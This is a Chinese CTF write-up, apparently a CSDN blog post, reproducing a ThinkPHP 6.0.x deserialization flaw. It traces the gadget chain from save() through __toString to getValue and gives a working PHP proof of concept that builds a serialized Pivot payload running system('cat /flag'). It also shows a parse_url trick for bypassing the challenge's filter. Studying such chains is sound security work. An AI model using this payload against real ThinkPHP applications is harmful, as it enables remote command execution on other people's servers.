• Thinkphp6.0.x反序列化漏洞复现


    漏洞起点

    起因: 在做 [安洵杯 2019]iamthinking 时发现是 thinkphp6反序列化,那么就去复现一下呗。

    看了其他大佬的 wp,上面说 tp6 的反序列化漏洞的后半段利用和 tp5.2.x 是一样的,也就是 __toString 函数上。

    第一步相信大家都知道,全局搜索 __destruct ,查找可以利用的点。

    选择的标准:
    那么有什么选择的标准呢?我是这么想的,就这个版本而言,假定我们先前不知道哪边有漏洞,那么我们在找漏洞的时候可以先看看前几个版本有什么漏洞,有可能它在修好漏洞的时候,又产生了新的漏洞,或者漏洞依然存在,只是利用方式不同罢了,那么借助这个思路我们可以先看看 tp5.2.x 的漏洞产生点,也就是 __toString 函数上。

    全局搜索后可以发现在 Conversion.php__toString 往下推会产生一个漏洞。

    __toString => toJson => toArray => getAttr => getValue
    
    • 1

    可以通过可控的属性进行命令执行。
    在这里插入图片描述
    那么我们这边选择 __destruct 的要求就很明显了,一直往下执行直到有地方能够触发 __toString

    这边选择如下图:

    在这里插入图片描述

    __toString 的触发点为:

    save => updateData => checkAllowFields
    
    • 1

    checkAllowFields 中可以看到有一个字符串连接,而这就是 __toString 的触发点。

    在这里插入图片描述

    步骤分析

    第一步触发 __toString

    我们首先要绕过 save 函数的第一个 if 判断。
    在这里插入图片描述
    isEmpty 函数只需要 $this->data 不为空即可。

    在这里插入图片描述
    tigger 函数中 $this->withEventfalse 就行。
    在这里插入图片描述
    然后就是 save 函数的 $this->exists 存在,则进入 updateData()
    在这里插入图片描述
    updateData() 函数的第一步和上一步一样。

    在这里插入图片描述
    接着就是 $ data 要存在绕过下面的 if,也就是 getChangedData 中的 $this->forcetrue
    在这里插入图片描述
    在这里插入图片描述

    然后就进入了 checkAllowFields 函数,只需要令 $this->table__toString 的类或者其他。
    在这里插入图片描述
    简单记录一下流程:

    触发 __toString:
    
    svae():
    isEmpty()::$this->data = true;
    trigger()::$this->withEvent = false;
    svae()::$this->exists = true;
    
    updateData():
    trigger()::$this->withEvent = false;
    getChangedData()::$this->force = true;$this->data = true;
    
    checkAllowFields():
    $this->field=[];
    $this->schema = [];
    $this->table = (__toString);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    __toString => getflag

    进入 __toString

    在这里插入图片描述
    进入 toJson

    在这里插入图片描述
    进入 toArray
    在这里插入图片描述
    再看 getAttr
    在这里插入图片描述
    getData 里的 getRealFieldName 里的 $this->strict 若为 true (默认为 true),则返回 $name,返回到 getData

    在这里插入图片描述
    在这里插入图片描述
    也就是说 $this->data[$fielName] = $this->data[$key] ,也就是说最后返回的是 $this->getValue($key, $value, $relation);

    继续往下看,到 getValue 函数,这里的 name 就是上面说的 key 键名了,也就是如果是 data['xxx'=>'bbb'] ,那么这里的 name 就是 aaa

    在这里插入图片描述
    最后就是要绕过下面的三个 if,第一个 if 只要 $this->withAttr['xxx'] 存在就行了,第二个 if 默认绕过,第三个 if 只需要 $this->withAttr['xxx']不是嵌套了一个数组就行。
    在这里插入图片描述
    命令执行的地方,$this->withAttr[$fieldName];$this->withAttr['xxx']; , 这边的 $this->data['xxx'] 的值就是要执行的命令了。(注意这里的 withAttrdata 的键名要一样)
    在这里插入图片描述
    最后要实现的时候肯定要找一个子类取实现它,因为 Model 是抽象类。

    poc

    
    
    namespace think{
        abstract class Model{
            use model\concern\Attribute;
            use model\concern\Conversion;
            private $lazySave;
            protected $withEvent;
            private $exists;
            private $force;
            protected $field;
            protected $schema;
            protected $table;
            function __construct(){
                $this->lazySave = true;
                $this->withEvent = false;
                $this->exists = true;
                $this->force = true;
                $this->field = [];
                $this->schema = [];
                $this->table = true;
            }
        }
    }
    namespace think\model\concern{
        trait Conversion{
        }
    
        trait Attribute{
            private $data = ["xxx" => "cat /flag"];
            private $withAttr = ["xxx" => "system"];
        }
    }
    namespace think\model{
        use think\Model;
        class Pivot extends Model{
            public function __construct($obj=''){
                parent::__construct();
                $this->table = $obj;
            }
        }
        $a = new Pivot();
        $b = new Pivot($a);
        echo urlencode(serialize($b));
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    [安洵杯 2019]iamthinking 这题中,要绕过 parse_str
    在这里插入图片描述
    直接实例测试:

    
    $url4 = "//upload?/test/";
    $url5 = "//upload?/1=1&id=1";
    $url6 = "///upload?id=1";
    var_dump(parse_url($url4));
    var_dump(parse_url($url5));
    var_dump(parse_url($url6));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    结果一目了然:
    在这里插入图片描述

    reference

    https://blog.csdn.net/weixin_43610673/article/details/120008902
    
    • 1
  • 相关阅读:
    Android硬件服务访问(4):在Application Frameworks层增加硬件访问服务
    编写Dockerfile
    使用HTML制作静态网站:传统文化戏剧锡剧带psd设计图(2个页面)
    idea热部署-修改代码不重启
    xshell修改字体大小
    端智能:面向手机计算环境的端云协同AI技术创新
    git + docker + docker-compose + Jenkins+Linux 自动化构建、部署、测试过程
    面试被问到 [倒排索引] 不知道怎么办?这篇文章告诉你
    弘玑Cyclone联合北京大学共建中国首个超级自动化校企联合实验室
    markdown的基本语法
  • 原文地址:https://blog.csdn.net/shinygod/article/details/127939976